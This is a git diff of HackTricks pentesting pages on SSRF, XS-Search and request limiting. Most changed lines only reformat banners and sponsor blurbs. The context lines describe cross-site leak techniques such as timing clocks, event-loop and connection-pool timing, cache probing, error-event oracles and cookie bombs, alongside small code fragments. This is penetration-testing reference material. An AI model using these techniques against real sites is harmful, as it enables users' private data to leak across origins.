-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -71,24 +65,18 @@ Maybe if you **login into your account before each attempt** (or each set of X t
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md
index 8cc3337e5..83c5dc76e 100644
--- a/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -1,28 +1,22 @@
# SSRF (Server Side Request Forgery)
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -197,15 +191,13 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## DNS Rebidding CORS/SOP bypass
@@ -308,24 +300,18 @@ SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/pentesting-web/xs-search.md b/pentesting-web/xs-search.md
index 91314f68e..55f831fdc 100644
--- a/pentesting-web/xs-search.md
+++ b/pentesting-web/xs-search.md
@@ -1,28 +1,22 @@
# XS-Search
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -43,7 +37,7 @@ There are different elements in this kind of attack:
In order to distinguish between the 2 states of the vulnerable page several things could be looked at:
-* **Status Code**. An attacker can distinguish **different HTTP response status codes** cross-origin (e.g., server errors, client errors, or authentication errors).
+* **Status Code**. An attacker can distinguish **different HTTP response status codes** cross-origin (e.g., server errors, client errors, or authentication errors).
* **API Usage**. This detectable difference allows an attacker to detect **Web APIs’ usage** across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
* **Redirects**. It is possible to detect if a web application has **navigated the user to a different page**. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
* **Page Content**. These detectable **differences appear in the HTTP response body** itself or in sub-resources included by the page. For example, this could be the **number of included frames** (cf. XS-Leak on Gitlab) or size differences of images.
@@ -52,8 +46,8 @@ In order to distinguish between the 2 states of the vulnerable page several thin
### Inclusion Methods
-* **HTML Elements**. HTML offers a variety of elements that enable **cross-origin resource inclusion**. Elements like stylesheets, images, or scripts, force the victim’s browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
-* **Frames**. Elements such as **iframe**, **object**, and **embed** may embed further HTML resources directly into the attacker page. If the page does **not use framing protection**, JavaScript code can access the framed resource’s window object via the contentWindow property.
+* **HTML Elements**. HTML offers a variety of elements that enable **cross-origin resource inclusion**. Elements like stylesheets, images, or scripts, force the victim’s browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
+* **Frames**. Elements such as **iframe**, **object**, and **embed** may embed further HTML resources directly into the attacker page. If the page does **not use framing protection**, JavaScript code can access the framed resource’s window object via the contentWindow property.
* **Pop-ups**. The **`window.open`** method loads a resource in a new browser tab or window. The method returns a **window handle** that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it **bypasses framing and cookie restrictions for a target resource**. Newer browser versions recently added means to isolate window handles.
* **JavaScript Requests**. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: **XMLHttpRequests** and its successor **Fetch** **API**. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.
@@ -62,16 +56,16 @@ In order to distinguish between the 2 states of the vulnerable page several thin
* **Event Handler**. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of **onload** indicates a **successful** resource loading in contrast to the onerror event.
* **Error Messages**. Beyond event handlers, error messages can occur as **JavaScript exceptions** and **special error pages**. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional **information** directly **contained** in the **error message**, or distinguish between the **appearance and absence of an error message**.
* **Global Limits**. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browser’s running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine **when the limit is reached this can be used as a leak technique**.
-* **Global State**. Browsers have **global states that all pages can interact with**. If this interaction is detectable from an attacker’s website, it can be used as a leak technique. For example, the **History** interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the **number of entries** allows an attacker to draw conclusions about cross-origin pages.
+* **Global State**. Browsers have **global states that all pages can interact with**. If this interaction is detectable from an attacker’s website, it can be used as a leak technique. For example, the **History** interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the **number of entries** allows an attacker to draw conclusions about cross-origin pages.
* **Performance API**. The Performance API is used to access the **performance information of the current page**. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw **conclusions about requested resources**. For example, we identified cases where browsers will not create performance entries for some requests.
* **Readable Attributes**. HTML has several **attributes that are readable cross-origin**. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.
#### **Timing Based techniques**
-Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
+Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\
-There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others**.**\
+There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others\*\*.\*\*\
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## XSinator
@@ -83,15 +77,13 @@ You can access the tool in [https://xsinator.com/](https://xsinator.com/)
**Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
{% endhint %}
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Event Handler Techniques
@@ -147,7 +139,7 @@ If a page doesn’t have any [Framing Protections](https://xsleaks.dev/docs/defe
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
-* **More info**:
+* **More info**:
* **Summary**: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
* **Code Example**:
@@ -195,15 +187,13 @@ You can perform the same attack with **`portal`** tags.
Applications often use [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to share information with other origins. Listening to this messages one could find **sensitive info** (potentially if the the `targetOrigin` param is not used). Also, the fact of receiving some message can be **used as an oracle** (you only receive this kind of message if you are logged in).
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Global Limits Techniques
@@ -236,7 +226,7 @@ Because **only one request payment can be active** at the same time, if the targ
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
-* **Summary:** Measure execution time of a web abusing the single-threaded JS event loop.
+* **Summary:** Measure execution time of a web abusing the single-threaded JS event loop.
* **Code Example**:
JavaScript’s concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
@@ -251,7 +241,7 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
* **Inclusion Methods**:
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-* **Summary:** Measure execution time of a web locking the event loop of a thread and timing **how long it takes for the event loop to become available again**.
+* **Summary:** Measure execution time of a web locking the event loop of a thread and timing **how long it takes for the event loop to become available again**.
* **Code Example**:
One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
@@ -277,15 +267,13 @@ Browsers use sockets to communicate with servers. As the operating system and th
For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Performance API Techniques
@@ -468,7 +456,6 @@ function startup() {
};
audioElement.onerror = errHandler;
}
-
```
The message property of the **`MediaError`** interface contains a **different string for resources that loads successfully**. This allows an attacker to infer the response status for a cross-origin resource.
@@ -514,7 +501,7 @@ Modern browsers won't indicate the URL it was redirected to, but you can still d
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Summary:** Clear the file from the cache. Opens target page checks if the file is present in the cache.
-* **Code Example:**
+* **Code Example:**
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**.
@@ -597,7 +584,7 @@ Web applications can deploy COOP response header to prevent other websites from
If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**.
-If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `